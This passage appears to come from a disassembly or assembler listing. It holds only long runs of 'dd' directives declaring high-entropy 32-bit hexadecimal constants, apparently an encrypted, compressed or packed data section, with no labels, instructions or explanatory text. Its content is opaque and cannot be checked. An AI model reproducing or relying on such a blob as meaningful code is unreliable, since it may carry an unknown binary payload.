0AF82B85Fh, 171A458h, 66741076h dd 0B9E8F037h, 7E845808h, 69002C48h, 0F339BA3Ah, 2F00FDB1h dd 7F400E5Bh, 0B0DA43h, 0A830C652h, 0B2C0F5B7h, 0D4B17300h dd 0EF170A09h, 0ADE83A81h, 3C6D9Ch, 6C4FDB6Fh, 0A507F172h dd 823ED9CCh, 0B61039D7h, 0F0A1Bh, 0AB1F574Ch, 3D29D4E5h dd 9FA97007h, 0D9B0334Bh dd 14D93B4h, 9290A8A3h, 60568AB1h, 0E30022A0h, 96598C02h dd 0E625047h, 0C2F62967h, 0B483023h, 0DD903C8h, 1F984A00h dd 0C7AA83EEh, 952B0037h, 0DA82A10Fh, 8900B8D7h, 90D5E1B5h dd 0B08F29h, 0CB0D6042h, 0D6CF2122h, 7739C802h, 872969BCh dd 6AB02EE0h, 13FCA0B7h, 720BAh, 0BF8FB686h, 670130F1h dd 43C2CCDAh, 0C1CC9BB0h, 0DF3800A7h, 37D2F0A1h, 6E00A393h dd 0E541FF0Dh, 0F6D50623h, 1E14057Dh, 8057B8A0h, 1A60673Ch dd 0D7DFAA00h, 0A05BB68h, 24B31E2Eh, 0FF8CC066h, 153952C5h dd 794EBE00h, 3646D1A2h, 1A3A046Fh, 80EEA70Ch, 0ED28728Ch dd 0FD0301F4h, 0F215044Eh, 0EE61E0E9h, 5E1B1F96h, 0A103009Ah dd 66621193h, 0D9845C00h, 0D7B34BB2h, 0BD770291h, 4A80651Ah dd 45211EE0h, 80F5E238h, 3F60F1EBh, 0FA9A8ABh, 0FD48104Bh dd 91FE1522h, 30A2F841h, 53FD620h, 0A99B8071h, 15113107h dd 0D7893BC0h, 0CC69F00h, 0A7C22FB2h, 6F1A7B00h, 0AE583399h dd 0B76D0034h, 0BF526484h, 0AD05FE08h, 9CF4A641h, 25CBBB80h dd 67A28A1h, 7B2F2CCCh, 6238407Ch, 1300A32Dh, 68775F14h dd 16AA3A63h, 1078D155h, 0C400B82Eh, 0BE12AC23h, 0F9006407h dd 0AB7AD42Ah, 3CEEF0FDh, 0F3002F48h, 144AB6A1h, 0BB00CC6Eh dd 8DB53C1Dh, 0F684CEBCh, 635C0001h, 95DA3215h, 2FEACF2Dh dd 621FD1F0h, 48CD9D0h, 3478A065h, 0C07AF43Ah, 3486BDA1h dd 2FCD6C00h, 0C7B09B73h, 0C3470021h, 57E18E5h, 8E014F8Ah dd 88B4B885h, 44DCDF97h, 96ED00CEh, 6C182152h, 0F898A6EEh dd 978059h, 10443C4Fh, 11C5C9h, 167E0751h, 6D5E329Fh, 62BC4A00h dd 6C5085B0h, 77C53905h, 452E3580h, 0FB19D22Bh, 0CE00C498h dd 6CB48A33h, 657EB0h, 7426C8FFh, 423ECF30h, 84BC5F0Bh dd 0F612007Ah, 3C5EE1B4h, 0F7EBB45h, 0B5012F5Dh, 36C78100h dd 0D00450F5h, 0B13FF7B9h, 5B244FC0h, 0A1B0C8h, 0AD1D5C4Dh dd 4A11ED25h, 0BDE31907h, 0B4A3A19Bh, 1F3FD859h, 178F0089h dd 34047193h, 48006C33h, 4BD6B844h, 0B2946D6Eh, 79820028h dd 9078428h, 0C802597Eh, 379866CEh, 218CE0E8h, 0D1D0009Bh dd 0C5AD940Dh, 0CD029D42h, 1FF6C627h, 821C68C4h, 722800E5h dd 77E86C64h, 2900EFC7h, 0EAE4B8DAh, 1F62C343h, 0C07E88F4h dd 676CB224h, 7700D502h, 11CAC638h, 0F485B6h, 0B59CE441h dd 0CB5AE23Fh, 18ECFC00h, 32BF7733h, 8B1B0F10h, 7A40FAB2h dd 8C606A7Eh, 4A6EC800h, 0B1F777Bh, 50AC0096h, 751707D4h dd 0FA003B26h, 36D2D372h, 0F515CDh, 0C4FEAA01h, 0F6E1697Dh dd 94178B03h, 0B452F48Eh, 439D2180h, 0F4BE4C7Ah, 0F2CD7BC0h dd 0B4EA13FAh, 511E91FCh, 2D40B330h, 3C658E22h, 1D63FCA6h dd 0F039C5h, 0D359D440h, 0B700D843h, 8A0A6071h, 1EE785A8h dd 0C1B376C1h, 1936285Fh, 0F1C5FC4Eh, 869D2D02h, 41417DBDh dd 1CCE850h, 9A5C1349h, 0A0B02B5h, 38434A5Eh, 6E0694D0h dd 0BC29FA28h, 4914AE00h, 81661BFh, 832B3B1Bh, 65F14700h dd 0ED5E4321h, 9311F500h, 63AB9868h, 0B787011Ch, 0D823B966h dd 0CC7BE49Ah, 4D53D01h, 4EE7A6E4h, 3D0666ECh, 0B9FF160h dd 0F6AC4941h, 0F4760C00h, 0E7009FC9h, 4C819285h, 6E5221h dd 460848F7h, 941236Fh, 0CDAB121Eh, 504AE100h, 0FEDF2899h dd 0A26B00AEh, 12922B97h, 2E004E81h, 14B1F506h, 4DFA45E6h dd 8703E81Ah, 0C7EE378Ah, 784A95B0h, 0C948CB00h, 1C02B734h dd 52F010h, 94431FD7h, 0F4B08D64h, 2230750Fh, 0D7882A3Ch dd 0EAC93700h, 1936C1Eh, 0C8620E2Fh, 0C0FEF715h, 0C5E4D18Bh dd 37B6D309h, 6BD60068h, 395760E1h, 0F060AEF4h, 2BB77FC5h dd 0B007BFAh, 999ABDD5h, 0BAC92Ch, 48A00EB8h, 54FB1E72h dd 0A653D0A0h, 0DF6F3F04h, 9CC03C2Ah, 8D0C1Bh, 56864F1Fh dd 8255B74Eh, 23003276h, 5A836D4Ah, 324E27Eh, 846746E4h dd 110063A1h, 0AB4B5D8Dh, 73310Dh, 1C9287E6h, 0C10C0BCDh dd 0B4B9EF00h, 0B3AC0A14h, 1D53001Eh, 7D35BBF5h, 5A783158h dd 263FD10Bh, 80300984h, 0BE1E9ACFh, 7F2B01B8h, 66F141B9h dd 0C40AE04Eh, 0E1238000h, 64CE6E87h, 0A18101B7h, 0C0D68803h dd 0C5EDD491h, 0A9E94Ch, 7332286Ch, 3CD51C4Ch, 3B808A31h dd 0E94EF67h, 42077DA7h, 0D4ACD05h, 83938610h, 8BC500F7h dd 322413CCh, 0BB006003h, 0D1AB6AA4h, 1FB73797h, 71618h dd 336C40BDh, 357CDB2Ch, 5E9E3418h, 4C35310h, 0CBFCCF6Eh dd 0EC80801Fh, 40013A57h, 2B9EC1B5h, 56FD79D5h, 840BECh dd 4E9380C3h, 2445B89Bh, 8A857101h, 1CFEEB14h, 95B3B0F3h dd 0BD4700E6h, 0C4CB8B6Eh, 0F5389879h, 10948059h, 952FC07Eh dd 250E00D3h, 0E429E860h, 1B007650h, 0FF87F021h, 90CF77ACh dd 461401ECh, 0B5989CD5h, 0F94060FAh, 0E2BE8C00h, 673C8373h dd 514A000Eh, 0C72BDFF2h, 20B8F6C2h, 17214200h, 0BB763F2Dh dd 0CA360062h, 31046625h, 790F1E6Bh, 16B9F6h, 27C05388h dd 0C44A5CF8h, 672A3900h, 28EA7CE9h, 0C7E2DC03h, 0E0C104F2h dd 0A06F1C75h, 30E886h, 0CBDB6EADh, 0F1401D99h, 0FC44CC00h dd 0F373F9B2h, 18150E32h, 91A0E9D0h, 265152EDh, 4D703Fh dd 0EA669CB1h, 0D0474Ch, 9FB39486h, 0C5B7AC6Fh, 0AB9AC703h dd 0C1A7CB3Eh, 70FC4998h, 9DF4004Ch, 15D87752h, 7C7678DCh dd 9338C604h, 0BAC0A6A0h, 58D4EA10h, 57A2C9Ah, 0A09D5DBh dd 879FC069h, 0E782A94h, 6AE7100h, 0DD3F1237h, 31740795h dd 4FD234F0h, 0C81FDC40h, 9028A47h, 0E6E48448h, 43DAE0B8h dd 12C63E5Fh, 458C3807h, 1B26A0EBh, 0E583120h, 0B1007AD7h dd 7C98852Bh, 52DF70Dh, 0D26BD012h, 0B8D0C0AAh, 0F27C3FF5h dd 16F09671h, 463C9400h, 647E2885h, 2CD8009Ch, 121839B8h dd 5900204Dh, 8D6E5B58h, 24A3B408h, 44617Dh, 0D95425D0h dd 36074211h, 0C4A63AA8h, 9C8229A0h, 3E2202DAh, 48F88EA3h dd 2C7B96F0h, 4A881000h, 7E1E36FDh, 0ED450B02h, 9080215Ah dd 50C55C7Ah, 8789A425h, 0FFA03C88h, 0EE6B78h, 7F1F1D4Dh dd 0F6C44F46h, 69567200h, 99B5A3B3h, 0F0F800DAh, 0EA5504B8h dd 233C65A5h, 7CB180C9h, 3AFDFA14h, 0ADEE0062h, 6A529A35h dd 2000F74Ch, 474F436Dh, 3FBA79A4h, 0D300DBC8h, 91E995EDh dd 0EE38ECB7h, 0B2B18094h, 0C2473207h, 0BBCD5073h, 0A26424F2h dd 714B85D8h, 37CC80CCh, 0B4980C02h, 12E5625h, 4F1A0148h dd 55C4460h, 550C4B69h, 1C85DCh, 4D84251Ch, 34B8ED9Eh dd 0A88C970Fh, 0A50CC55Ah, 8BF963C0h, 3F4900A7h, 531741D4h dd 9C0F31C2h, 20F69391h, 64F74E94h, 0D0C101DDh, 3BE70EFAh dd 6F07C566h, 0D2723187h, 57986078h, 0AF330040h, 0E07064A8h dd 732E8A49h, 14013D55h, 8291B416h, 564460E6h, 3487942h dd 20E43B29h, 181C1E50h, 0EC80DE66h, 0D33510C2h, 9B0B00E2h dd 0CC6FAFEEh, 9700A8BEh, 2EFA9630h, 1E17014h, 5198366Ch dd 0ECC23720h, 2900DBB9h, 0FEDD664Eh, 247CD3E8h, 233CD89h dd 0B4D4B60Bh, 0A7F4D4C0h, 80462510h, 586BEA07h, 0DD4062AEh dd 0AA3D0560h, 7D0034F8h, 9FA7CC44h, 70983Ch, 0A437AB54h dd 767257C1h, 0D022D707h, 8C803ABFh, 0F26F6Ch, 0B96108A0h dd 32A14EAh, 0F84B5516h, 0E333F880h, 2E7A00D8h, 0D67DAEC7h dd 3D0E512Ch, 8082375Fh, 7FD90106h, 0C0EA74h, 0C4EBE12Bh dd 0B3FE496h dd 574D3000h, 5FB62CD0h, 0C0E307DBh, 0D0674014h, 0F20B9B8h dd 0A98BD800h, 2397FE62h, 9E1200ECh, 0C76F15ADh, 0CC0F275Fh dd 2DD999h, 0E2E467A2h, 6DE90078h, 5C33A512h, 2000759Fh dd 0F79B41C4h, 0B76039h, 3C9A7230h, 0ECDAA712h, 0C448A600h dd 961A8A02h, 0B0BB001Dh, 0A350E66Ch, 0F0C996Dh, 10E75422h dd 0BC70121h, 28DC60FCh, 0F5B7F4B2h, 0FFE14905h, 0C00415F1h dd 6890A6D2h, 0FEDACA54h, 4310E4Ch, 0C3E16F41h, 30774EF3h dd 2B1EE8E6h, 2D5639CFh, 90061D02h, 46546082h, 8476EF4h dd 418510C0h, 0FD18B24Fh, 5210243Fh, 0D7CA1CDEh, 74DF805Fh dd 7D2696F1h, 0F9DB4E07h, 0E090CBB9h, 5050F2E6h, 48ECB028h dd 67009163h, 0E7E54994h, 567F1AA6h, 0DA686F05h, 2280E602h dd 311CF88h, 70FF6526h, 39C8AC56h, 2AF8B1E8h, 18B4C97Dh dd 7C277901h, 0DEEDB5FDh, 3FD9E0h, 0E335621Ch, 0A1CA7E0Eh dd 31C93850h, 1F0BFB00h, 8C2DE8E7h, 0A4B0398Bh, 5C00400h dd 54A13AC4h, 0AABE1D03h, 98D00630h, 0FC1F6C5Ch, 14BF0381h dd 0FC19E178h, 0A2472888h, 51F03712h, 0B6CF00AEh, 55385C68h dd 7C2A0500h, 74122402h, 0FA7E0252h, 0DE4791E3h, 80D6CC84h dd 623B8C1Ch, 1889F48h, 0E89E89F0h, 0E7E4C833h, 0EB841CC3h dd 95EA4785h, 0B96710F4h, 3500387Dh, 3CB14061h, 2290C76h dd 0D764800Ah, 0FDC0E9BCh, 544D3B07h, 3EF9019Ch, 2C8C7FA9h dd 58155FCh, 44D36E83h, 0CEC040F1h, 959C3ED9h, 45002FEEh dd 9987BA10h, 777B01C8h, 0A5231794h, 0DB2C02CEh, 4C59469Dh dd 0FEE16B80h, 203155h, 4AC5603Bh, 5FA10121h, 4DE3BA00h dd 92F3F534h, 606E7EABh, 0CB87793Ah, 55074568h, 443BD710h dd 82B4DE40h, 536330E6h, 9EF5688h, 252FA27h, 0C0172090h dd 4F48A6h, 88B732D7h, 27DAF962h, 6565C00h, 78DF1130h dd 1540C072h, 7F71C1A0h, 0C0094C73h, 80A74D36h, 1BBCE974h dd 0FAFE56h, 42FF398Eh, 61ED2FF1h, 64747700h, 17466310h dd 9F8500B6h, 0D3B55F1Dh, 180067B4h, 0EC574F96h, 0F6A7DA6Eh dd 1FDB0094h, 0B0BE3139h, 0E3002A22h, 3B8269D2h, 1FCEF6C8h dd 6D27C9h, 6F46159Bh, 40F91D74h, 0B2160481h, 8F00497Ah dd 515E1AD8h, 3B9232Ch, 0B33F73C4h, 11B840C0h, 153D2DEDh dd 0A66F804Fh, 0CD6BC48Dh, 5C1B7CA0h, 3A0052BDh, 597BD7ECh dd 600DC91h, 0C3B75DAFh, 0AA16B6h, 1B4E4D77h, 323D5884h dd 4A259900h, 0A875D26Dh, 4CC248B9h, 0C6006238h, 0D53007F8h dd 993F91C0h, 0C8AC001Eh, 0BF63C343h, 1AD000B5h, 0FD5B665Ch dd 11009B18h, 90AD985h, 5CC3071Bh, 0A302C716h, 0D842775Eh dd 0C5E2D860h, 0F96B2210h, 7C918500h, 3D68700Ch, 0E43BF224h dd 0ECE67A38h, 945BF93Bh, 39E42ED6h, 1C5D3BA2h, 138051FCh dd 994BD018h, 28BE0082h, 0CAF2E83Eh, 0DB7553B8h, 0CE5C080Bh dd 0B7A0C006h, 1C97A3Fh, 0EC8429A3h, 71A48E38h, 0C270A027h dd 7E104C09h, 92500080h, 1760354h, 0EF155AC6h, 402F5D7Bh dd 3ACE2A85h, 0AC1D7090h, 1081190Ah, 0A4FF7BAAh, 3A5AC4FCh dd 0E8A65C1Dh, 0B63B002Ch, 1FC570E6h, 0A6957B00h, 5DD7A46Ch dd 7F1D0076h, 189ED8Ah, 0DD000C03h, 96A69BF2h, 0E77B7A0h dd 0C0744C35h, 0A0B2A00h, 3A0C9A28h, 1002EEB4h, 0C1AF0010h dd 0CB695E73h, 0DC1C32EBh, 228F5624h, 852B20E1h, 0F174E53h dd 0D5CA0C36h, 9B3A5F00h, 4418524Fh, 0F3DAA9FAh, 0BDE101BBh dd 0A456B753h, 314FF807h, 84AE0100h, 137A1154h, 0A44D5075h dd 72A71D45h, 884C0018h, 874A17A3h, 2007474h, 780A0783h dd 0F6B88Ch, 0CA308627h, 12805870h, 0B761E500h, 6D443D2Ch dd 6CC704D0h, 0A0DA3B52h, 0AB0162C8h, 17A9F46Fh, 406038BAh dd 9703007Fh, 0CA41D15h, 0B470B0E6h, 7EB79A0Fh, 1870098h dd 2D529D8Fh, 0D4006391h, 0E82295D4h, 31000D7Ch, 3BF64BA0h dd 7E17E82h, 4A3861DCh, 651600C2h, 0AA00E36Ah, 95200DADh dd 0F6E4BFh, 0FFCF815Dh, 58547A03h, 0B504B807h, 0EB0244Eh dd 0EA59C5C3h, 0BE9E009Dh, 17ED525Fh, 7300BA86h, 672510F2h dd 0D097A6h, 0BE6489F9h, 69C0237Bh, 92C4DF07h, 2560989Dh dd 486A38B0h, 28633EE7h, 17905B4Fh, 1C009A79h, 108B53ECh dd 0C8853Bh, 0D8CFA15Ah, 6AF7B684h, 0F873F8C0h, 1C07669Fh dd 80618609h, 36215EBDh, 5900226Eh, 0F1A64A6Dh, 72B978h dd 501527B8h, 61DD2D7h, 0B183C50Eh, 0FAD4A039h, 4849EFB4h dd 9E03FCDFh, 3A17DCFh, 0BB306AB0h, 9B776B00h, 26E1DBCBh dd 351F0069h, 81C1D1EAh, 8EC426Fh, 62324Ch, 23313487h dd 29AF40Ch, 7BA9DA49h, 48C34D8Eh, 628AF1A0h, 145C9680h dd 85DBB0D3h, 3D789C4Ah, 0E02BA507h, 0D3924619h, 9800E366h dd 1E9B6E22h, 0C7A6A1D5h, 0E831D2h, 30683E74h, 81E54417h dd 4DE6E803h, 0F7DF0C6h, 0FCBF7909h, 1294795Bh, 4915F5CCh dd 10609514h, 7C1FA70Eh, 8A402805h, 9E2C3201h, 17F30966h dd 0B88BB1ABh, 0A6E60000h, 4B008B9Fh, 0F267880h, 0E29ABF37h dd 0B4B7009Dh, 84EF5CC0h, 8000AAFFh, 49966726h, 5894E9h dd 5DBA5A03h, 69201EBDh, 7C718B02h, 0C0E009B5h, 26A6FCF6h dd 1D1CF68Fh, 722105EEh, 0FB0FC1ECh, 1246E8CBh, 1E432A1Fh dd 3762501h, 4BF090CDh, 0B74F035Ch, 77ADD1B1h, 0C6D3FC98h dd 0F0E7C800h, 50186325h, 374C0009h, 0D5961AA5h, 4B00807Ah dd 0D9F8C195h, 4E9005h, 0D429B00Ch, 6F2BB68Bh, 3D4D4B00h dd 0F55F1F51h, 0FEB200F6h, 0FDD3B361h, 30001192h, 3B212AB1h dd 718593C9h, 8FF600F2h, 0AF876B49h, 0E2728079h, 1144E600h dd 303221B7h, 76B200DCh, 0DF34CD7Bh, 70009623h, 8B409238h dd 0A12965h, 0AA1AAD6Fh, 0E6842E6h, 0A4DA8501h, 8B416ACFh dd 4CA3FE8h, 127EE78Eh, 0CF7DC719h, 35B8A8A1h, 8F8BD052h dd 0CC813Ch, 687E45F2h, 325F3ADh, 351130Ch, 15A8B910h dd 8F00CD55h, 3077D8ABh, 9DA4174h, 0A63C6876h, 61406C8Fh dd 6A6E3EE1h, 52001472h, 0CBB5E86Bh, 583DA0h, 3911F732h dd 92BBF5B9h, 725B5500h, 5C57E976h, 80960086h, 1AFE759Eh dd 0B15CA9C4h, 0C2CB013Dh, 1E0EA34h, 10864C4h, 82573786h dd 607588E1h, 250EA93Bh, 2091E484h, 4137F6C2h, 10DB2455h dd 890800A9h, 0AE11F3FBh, 1C65E400h, 5C5EB9C0h, 4E3E01BEh dd 0E080289Ch, 2D26C83Bh, 0EF325D00h, 297BE2B9h, 77D1000Fh dd 1DD5BEDBh, 0EB059148h, 856DF15Dh, 0E21DA00h, 0ED61CDh dd 16500F08h, 0FA574C14h, 54377005h, 6EC13AA5h, 0B7E85156h dd 398C001Dh, 0D58A62Fh, 0E107EF2Dh, 29697173h, 0BE909C27h dd 0C3228Ch, 47E099A4h, 600BFF05h, 843F631Dh, 8BFB39C0h dd 0C99B9Ch, 0B4123689h, 832DD39Eh, 0AEF9B900h, 0D638CCE7h dd 97C100D9h, 3B99E144h, 7D00BB2Ah, 1586F55Ah, 2FF0938h dd 7EAA9C73h, 2D60FB24h, 70EEF04Dh, 962BAE07h, 0D4402952h dd 186E994Ah, 0B826B94Bh, 8D0162A8h, 0C4367A3Fh, 22E80254h dd 1917ECFh, 7FDF6C5Ch, 70594217h, 2C003BDEh, 7A7906FEh dd 0B86FD509h, 0F9957DD5h, 0A066DCh, 0F920DA0Ch, 0EC0AE2DBh dd 722FE500h, 0A4D84BCFh, 0F211C75h, 36CE8007h, 0DDFD0237h dd 0ED006676h, 4008C76Ch, 74C6AD67h, 0A5F31F7Ah, 0B20180E5h dd 0A9FE9FB9h, 6A51DE00h, 2407051Eh, 0FC45000Bh, 9528EFE1h dd 0D42C0CFFh, 9907EAFEh dd 6810C5E7h, 0E667276h, 0E47F31FAh, 0CF7A027Eh, 5E085E3h dd 483B86F7h, 80983B8Dh, 61B182D6h, 24A59Dh, 0FCF07101h dd 7F2B40C8h, 0B8283F00h, 0FF34AAC3h, 5F7A079Dh, 20BEDCBAh dd 0E2AEC9A1h, 0EA0AB007h, 879158FEh, 80403F96h, 7681114h dd 0E28ADBF5h, 0A4337090h, 8D00BBF4h, 76AE98EAh, 0DFC75Dh dd 49836541h, 0DBBD9209h, 7B4B5100h, 0BEF37E33h, 9CF40031h dd 7D3B0410h, 561834A4h, 61906AB5h, 0CC010474h, 0C0F7BC18h dd 75D4F32h, 4B7802F8h, 2A357A00h, 0F881F998h, 3E420024h dd 0CFB1286Ch, 0C106D8E1h, 65F1FEBEh, 0E0FF0470h, 0C00BED59h dd 10F5897Ch, 60033538h, 4002F110h, 19A63ED5h, 8B3DED81h dd 9635CFD8h, 88004888h, 2D15C505h, 0A16E6096h, 0A23B7610h dd 0EE002F90h, 4AF3799h, 5F9ADFh, 0C358EFEDh, 34AEDE3Ah dd 7400B672h, 710A20E1h, 7BC9D4BAh, 0AC7F28h, 638CD9C1h dd 64417A59h, 6324D07h, 740EF2Eh, 0CD78C3h, 5FDEB9AEh dd 229D9955h, 0A08B8700h, 74893017h, 0EFB7005Ah, 0F0E282DFh dd 0E00FACC6h, 40FF29A3h, 7B0882Eh, 0A2D03A7Dh, 83DD3900h dd 0CD441CA4h, 0BBE80E3Ch, 3F6A0058h, 20D96D86h, 0FF80382Eh dd 62407800h, 42AFB99Dh, 0ABEBD203h, 0B07FB74Bh, 19A217h dd 866477DCh, 9030AC06h, 7CB5CB14h, 3A610FB8h, 0B81FE097h dd 0DF400Bh, 42078D79h, 73A97BA4h, 43312400h, 0C4335A2Ah dd 7DA50006h, 0BC2BB1CFh, 0F20012ADh, 86196871h, 94223CBh dd 7C22154Fh, 0FB701403h, 25A3B4D0h, 1F0CC700h, 0FACFF9B7h dd 302A002Eh, 0D96CFD8Fh, 0B400D68Ah, 63B93BF7h, 0FCBA55h dd 4DBB28AAh, 7D2F87D4h, 0DF3E461Ch, 0ED067FC3h, 0AD6A880Ah dd 0A6450E38h, 0C3408577h, 157C4205h, 80332B30h, 24EEC6FFh dd 620019Eh, 197D6F07h, 35718408h, 4FED001Ah, 2E9DF041h dd 48541F07h, 634081B2h, 12D7644Eh, 0ED2DD62h, 0D1C0DE50h dd 4805B9F8h, 0E46FDC01h, 3B67611Dh, 1A0E7C8h, 0D42FEAC1h dd 0FC62AFBEh, 0E9B0C77Dh, 0FACA5300h, 26B41E1Ah, 10760E91h dd 809DF6B2h, 0E6A3B50Bh, 0FA0CD70Dh, 48DD5379h, 0C378FFh dd 0EBD82FFEh, 0E22E031Bh, 4A7D109h, 1602FF13h, 56409216h dd 0BB0058DDh, 0E953E69Eh, 27BDB9h, 1B508CEFh, 8ACE386h dd 0D652C200h, 78077ADCh, 0F00A07C7h, 8E284570h, 0B9802FA0h dd 79001B87h, 0A83B7AF3h, 450367h, 0AFE03F95h, 3DEC8661h dd 0E0A1496Eh, 0B0BF0CC4h, 71AB7371h, 58B118D6h, 0C9CE2154h dd 210988A8h, 0F7E27E00h, 29416C33h, 30117D1Dh, 0A32099E7h dd 0C3004F06h, 470996F0h, 0DB9815h, 5443451Ah, 0BAF9E5E0h dd 0CBA2AC00h, 3D72BB8Bh, 0F8A47BDFh, 0CAAF011Dh, 0A31CC193h dd 0EB57C8EFh, 0BF00BAEAh, 0E7F03C3Bh, 0FC7F3F03h, 8AE20043h dd 8B3ACB1Ch, 0BC1962B0h, 9428BE29h, 0E2B0FF13h, 0D87FF9D7h dd 0CD00DAB8h, 20A7CA5Dh, 186B497h, 9F1EBA7Bh, 0F05B2331h dd 4000ABF7h, 0FAC2F313h, 0D4EE78h, 84560962h, 745B125Dh dd 0BBD6AB07h, 0DAD0C420h, 4CE0A7h, 95EF6EC5h, 83FF5971h dd 6B29B01Ch, 0FEB4D781h, 8BE47853h, 193C0EC0h, 2A80B1F9h dd 0A4BC8AA8h, 85075C00h, 88D7E90Dh, 0A5B31EDCh, 0E1804169h dd 0CC97BF2Ch, 4C003264h, 0B919C7CAh, 0FE8F7A35h, 145C7A70h dd 0A0AD96AEh, 1C96E93Fh, 18A4001Fh, 9C05CD5Eh, 9E20E52Ch dd 0A9024301h, 92E887ECh, 0EE5E00F2h, 94868453h, 30000347h dd 6AADCC2Bh, 0BFF318h, 44F7B58Bh, 0D2A01F97h, 0BD5D2300h dd 8E33E1E0h, 0F1D70077h, 3F7888A8h, 0E793587h, 0EBF2EE07h dd 7A204668h, 0E0532397h, 92AC00FEh, 9C20427Bh, 757365A6h dd 0A2E6FA00h, 38BB9868h, 366B0BF1h, 65844CBEh, 39AF803Ah dd 0D9149417h, 0F40AE3h, 47F0CF26h, 73E983DCh, 635E2C9Bh dd 0BE400F4h, 7EFC6BDFh, 4D851A00h, 0C2FEF38h, 44F800E5h dd 0E9428441h, 770F5347h, 0AA5CD5h, 0D1FD2B25h, 6234009Dh dd 0ACA685FBh, 0E912B1BDh, 400009AEh, 38EEF375h, 871100B9h dd 0A5BC0B30h, 9AEA3E51h, 7F93210Fh, 96D003Ah, 18D042ABh dd 0A80CD7C4h, 8F00AA8Dh, 1DAE382Fh, 1BF6D4Dh, 9C193EC9h dd 0ECED0118h, 7603B246h, 7908D3Ch, 0FB05E0D4h, 0D2B00FEh dd 58C35A8Eh, 97B1DD7h, 0C908EF04h, 389657DFh, 559F0049h dd 26347AC4h, 66002022h, 4395E913h, 94B8B11h, 874FA6E6h dd 4CA45C00h, 2E00DA96h, 842F6DA3h, 48CF0DC4h, 9D0020AEh dd 5E7CB877h, 4E01CEC9h, 0B2153783h, 1970586Fh, 5F2901F5h dd 534F881Eh, 0B396D887h, 28E6BCF6h, 5BD73B01h, 1A5CCA0Eh dd 1F5ED3D4h, 459CD9Eh, 0BCB67063h, 0EF300B3h, 0D6AA539Ch dd 0BDA0C6Dh, 0B4A19908h, 1E18EE7Bh, 0B0107943h, 2CB51F68h dd 65E6C0C9h, 36FD5EA9h, 4D449800h, 0CBD122B2h, 7DC1001Eh dd 0EDC3B03Dh, 92E68555h, 173AC700h, 4FCF9B7Eh, 9719006Dh dd 87F6C990h, 0D4FC8AC4h, 442239h, 24DF9E92h, 338F8Ch dd 84554EF9h, 83D859CCh, 2008070h, 975D9951h, 3C9476B6h dd 698090F0h, 7A6027E8h, 3700FC80h, 653D7CA1h, 19EE32Fh dd 69C37ED9h, 0E557A22Bh, 0B0804820h, 0ABCE7200h, 0B3767E4Ah dd 1D37F030h, 8997749Fh, 0E00054B7h, 6DEC5A39h, 7147D318h dd 935B20h, 25BCE9F2h, 396080B9h, 1DF6D200h, 33ED6E4Ah dd 0C91700E1h, 897DB644h, 8E3E385Dh, 0C0808087h, 0CD71AFA7h dd 41A019Ch, 742B8C98h, 0CA2EE4EFh, 0B2822407h, 0A2507126h dd 38D750F7h, 0C8005AFCh, 6607BCA8h, 0E507128Ch, 3D381F86h dd 25DCB941h, 9C87DDC1h, 53EE7EECh, 5DE0D287h, 2C507811h dd 6F0073D4h, 0FA88DFD1h, 68DD41h, 91476948h, 5610F9B0h dd 53E26F00h, 0AA175DBBh, 8DC02EE0h, 14680066h, 0B9FA9C8Eh dd 0D607EF1Dh, 4A38BBCh, 2270019h, 2F25E1h, 0BDB2BCA4h dd 0F20AD076h, 8072C203h, 98A64F6Ah, 0C7D971h, 0ECD22B07h dd 1DB07EBBh, 951FB47Eh, 0A3407F98h, 4A4489E3h, 734E00ACh dd 339CC7F4h, 34000815h, 85FDDF6Dh, 0EC46A1Dh, 3623D70Fh dd 63E7F520h, 45FA73B9h, 7C479604h, 7C2E0C5h, 0F186607Bh dd 0D29239BEh, 94A07800h, 0DA3C4C49h, 0C1ED5A00h, 7018A26Fh dd 489B0F39h, 0EEC39488h, 89A85060h, 20CF6A83h, 8E2040EAh dd 0EED91A45h, 28D34856h, 30C87D08h, 0CA526D0Dh, 5CD420h dd 5E061E2h, 5DFA8D3Bh, 8301D17Fh, 0F15FAA75h, 0A2F480A0h dd 16EF2632h, 0A1033E20h, 20F8E894h, 0FC36C2D0h, 1F5848h dd 3E3DB9A6h, 17CB2A5h, 95FA4897h, 0D096275Fh, 64F46956h dd 3590D00h, 238A9E8h, 0F024005Eh, 535CEF8Ah, 0B80F8604h dd 4035DC07h, 0FC4F50AEh, 184A0003h, 8FF9CD52h, 221C75FBh dd 0B006A16h, 6843D906h, 0F6AFF850h, 1AAA0085h, 2552020Fh dd 2001D0B4h, 0BBE4741Eh, 0B9FC6BA4h, 0EC79024Eh, 3965D3EBh dd 1D1E7FC0h, 0C585D800h, 0B37B8FA5h, 132900E8h, 0CDFB0F9Fh dd 4807E60Ch, 0DE254695h, 0FFFA2CF3h, 0D666A060h, 167A0005h dd 5C3C3E5Dh, 0B87EE897h, 4E4CBF00h, 800E6038h, 7A730C24h dd 0D03933AEh, 7640CB7Dh, 9D233808h, 990809B0h, 6700F5CDh dd 98BCAC17h, 386F6406h, 0E1E9269h, 0BF448036h, 725B5C6h dd 0A5C2A607h, 2483E085h, 42B8D04Ah, 8040E1EEh, 813BEDh dd 9D994C17h, 0A0A47EABh, 2E2F850Eh, 2363A076h, 3B1F1Bh dd 1A39AC3Dh, 0E40FA7CFh dd 0C5785001h, 21048355h, 3817F530h, 6F01B144h, 58A161FEh dd 312521B8h, 57B830D9h, 0AB00097Bh, 0A94C6971h, 775EF5h dd 0F2B7AED8h, 6A999AD0h, 0A3F70D00h, 0AB9C3231h, 1CAEEC4Fh dd 808E62C1h, 8D2DF1D8h, 0DBB8D280h, 4852FB00h, 0E64E2AFh dd 0B0097C8Eh, 57330006h, 23ACF290h, 7D5CFEF4h, 4EC3F6Fh dd 0C5805A08h, 0BF90088h, 3AE8701Ch, 3C0C4580h, 800A78Fh dd 0A09096BAh, 182B60Bh, 97812289h, 0D4212A91h, 7CC066BCh dd 0F5F66037h, 7CD2044Ah, 81754FD5h, 9C25A56Ch, 942A028h dd 0A3F1FE5Dh, 756E32B8h, 5AFF39E4h, 8112A200h, 19B37946h dd 143B49h, 5E2F4705h, 0EA75309h, 0A42E1DB5h, 8421148Ch dd 882F4B00h, 42993DABh, 393801CDh, 581951BFh, 0FF508180h dd 5B858DBAh, 60DBE0h, 0DA4D9BD7h, 2FEB36CFh, 0BDE94Ch dd 311CB7D4h, 0F3AEA63h, 3B2D0223h, 807D8C85h, 0C1C2367Ah dd 0EFDE1A07h, 2C02B3Dh, 45AEF6h, 50E5B622h, 7BA01792h dd 0CC6E5600h, 7D70EE6Ah, 65110A7Ch, 822FA8h, 237E2CA7h dd 2D0E1476h, 